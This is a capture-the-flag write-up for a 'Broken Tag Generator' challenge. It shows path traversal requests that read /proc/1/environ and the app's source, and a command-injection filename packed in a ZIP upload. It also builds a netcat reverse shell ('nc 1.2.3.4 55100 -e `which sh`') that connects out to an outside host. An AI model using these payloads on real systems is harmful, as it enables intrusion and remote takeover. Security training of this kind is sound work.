Broken Tag Generator⚓︎
Difficulty:
Direct link: tag-generator website
Terminal hint: Redis Bug Hunt
Objective⚓︎
Request
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.
Noel Boetie
Welcome to the Wrapping Room, Santa!
The tag generator is acting up.
I feel like the issue has something to do with weird files being uploaded.
Can you help me figure out what's wrong?
Hints⚓︎
Patience and Timing
Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
Source Code Analysis
I'm sure there's a vulnerability in the source somewhere... surely Jack wouldn't leave their mark?
Endpoint Exploration
Is there an endpoint that will print arbitrary files?
Content-Type Gotcha
If you're having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
Error Page Message Disclosure
Can you figure out the path to the script? It's probably on error pages!
Download File Mechanism
Once you know the path to the file, we need a way to download it!
Source Code Retrieval
We might be able to find the problem if we can get source code!
Redirect to Download
If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
Solution⚓︎
Quick 'n dirty or reverse shell?
You can either solve this with minimal effort or you can go for a reverse shell. We'll explore both options!
Short solution
Start by analyzing the app.js
JavaScript code. After a successful file upload the uploaded image will be accessible via the /image?id=
endpoint with id
being a randomly generated value that identifies the image (line 7).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
|
The /image?id=
endpoint appears to be vulnerable to a path traversal attack, allowing us to read files on the remote system. Since the objective is to read the value of an environment variable and pretty much everything on Linux is considered a file, a request to /image?id=../../../proc/1/environ
will return the information we need in the HTTP response, including GREETZ
.
Longer solution
An HTTP request using an invalid id
will result in a 404 error response with a message stating Error in /app/lib/app.rb: Route not found
. This tells us the location of the backend Ruby on Rails source code file.
Tricking web browsers using X-Content-Type-Options: nosniff
The X-Content-Type-Options: nosniff
header in the HTTP response message prevents web browsers from doing MIME-type sniffing. The web browser will take whatever is set as the Content-Type
and assume that information is correct. In this case, the HTTP response tells the browser the data is an image/jpg
file which the browser fails to render. As a result, using an invalid id
in a web browser will display an image rendering error instead.
The image “https://tag-generator.kringlecastle.com/image?id=somethingsomething%20test”
cannot be displayed because it contains errors.
We can leverage the same path traversal attack as before by issuing a request to https://tag-generator.kringlecastle.com/image?id=../../../app/lib/app.rb
to download app.rb
. Reviewing the code, we can see that the web application uses a system()
call to resize the uploaded image to a specific size (line 7). Because the backend Ruby code does not filter the filename
variable used as input to the system()
call, we can leverage this command injection vulnerability to execute our own code.
1 2 3 4 5 6 7 8 9 10 11 12 |
|
Structuring the filename of the uploaded file as myfile';command_to_run;ls '.png
will split the single convert
command into 3 separate shell commands, nudging whatever we want to run neatly in the middle:
convert -resize 800x600\\> -quality 75 'myfile';
command_to_run;
ls '.png' '#{ out_path }'
The process_file()
function tells us the app allows uploading files with an extension matching either .jpg
, .jpeg
, .png
, or .zip
. To prevent our uploaded file from being renamed at the server side we can leverage the handle_zip()
function as it leaves filenames untouched when unpacking an uploaded archive (line 7). Luckily for us, Jack commented out the filename validation code that would've patched this issue (line 2). Thanks, Jack!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
To retrieve the value of the GREETZ
environment variable, create an image file named myfile';echo $GREETZ>the_GREETZ_tag.txt;ls '.png
, add it to a ZIP file, and upload it using the tag generator application. The application will unpack the archive, execute our command, and save the output to /tmp/the_GREETZ_tag.txt
which we can then download using a request to https://tag-generator.kringlecastle.com/image?id=../../../tmp/the_GREETZ_tag.txt
.
Answer
JackFrostWasHere
Reverse shell
A request to https://tag-generator.kringlecastle.com/image?id=../../../bin/nc
confirms that netcat is available so we can leverage the code execution vulnerability to establish a reverse shell with full interactive access. The command we need to run on the host is nc 1.2.3.4 55100 -e /usr/bin/sh
, but forward slashes are not an option as they're not allowed in a file name.
We can work around this limitation by using `which sh`
to ask the system what the full path for the sh
binary is, instead of specifying it as part of the filename. The image filename now becomes myfile';nc 1.2.3.4 55100 -e `which sh`;ls '.png
. Set up a local listener using nc -nlvp 55100
, upload the zipped image file, and wait for the reverse shell connection to be established.